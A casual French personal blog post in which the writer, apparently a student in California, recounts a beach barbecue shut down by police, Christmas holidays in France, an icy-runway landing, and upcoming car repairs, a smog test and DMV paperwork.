Ce soir on est allé faire une BBQ sur la plage, pour vous dire! Bon... Ok, on avait nos vestes.
Finalement on s'est fait virés car on avait un pac de bierres et qu'on faisait un feu. En effet, l'alcool est interdit sur la plage, et les feux interdit ce soir là car nous étions un jour où l'air était soit disant polué...
Sinon à part ça... Mes vacances de Noël en France se sont super bien passées. Il a fait froid mais on s'y fait ^^.
Le vol retour Montpellier - Paris était bien marrant, surtout l'atterrissage sur piste gelée... Le fait de sentir l'avion dans lequel on se trouve déraper vers la gauche, puis la droite, puis encore la gauche, droite, etc, jusqu'à l'arrêt de l'appareil en bout de piste... Enorme!
Lundi, ici, c'est férié. Martin Luther King's Day. Pas cours, je vais donc en profiter pour faire un tour à Walnut Creek chez le mécano pour régler cette histoire de voyant "Engine Servive Soon". Après ça je vais devoir rouler 50 miles minimum pour réinitialiser l'ordinateur de bord, puis passer le test SMOG (test de polution), puis enregistrer la voiture à la DMV. Autant dire que j'ai de quoi faire!
Je dois également trouver un autre appart...
Bref... Les cours, la voiture, l'appart, les vacances de février... Ca en fait des choses auxquelles il faut penser. L'avantage c'est que, ben... Je m'ennuis pas! J'ai largement de quoi m'occuper l'esprit!
Sur ces belles paroles, je vous souhaite une bonne journée (nuit pour moi), et une bonne lecture sur mon nouveau blog.
Ah, oui... Mes photos sont à nouveau disponibles sur Picasa Web et à jour, avec des photos (de nuit) de ma voiture.
Tcho!
Inscription à :
Articles (Atom)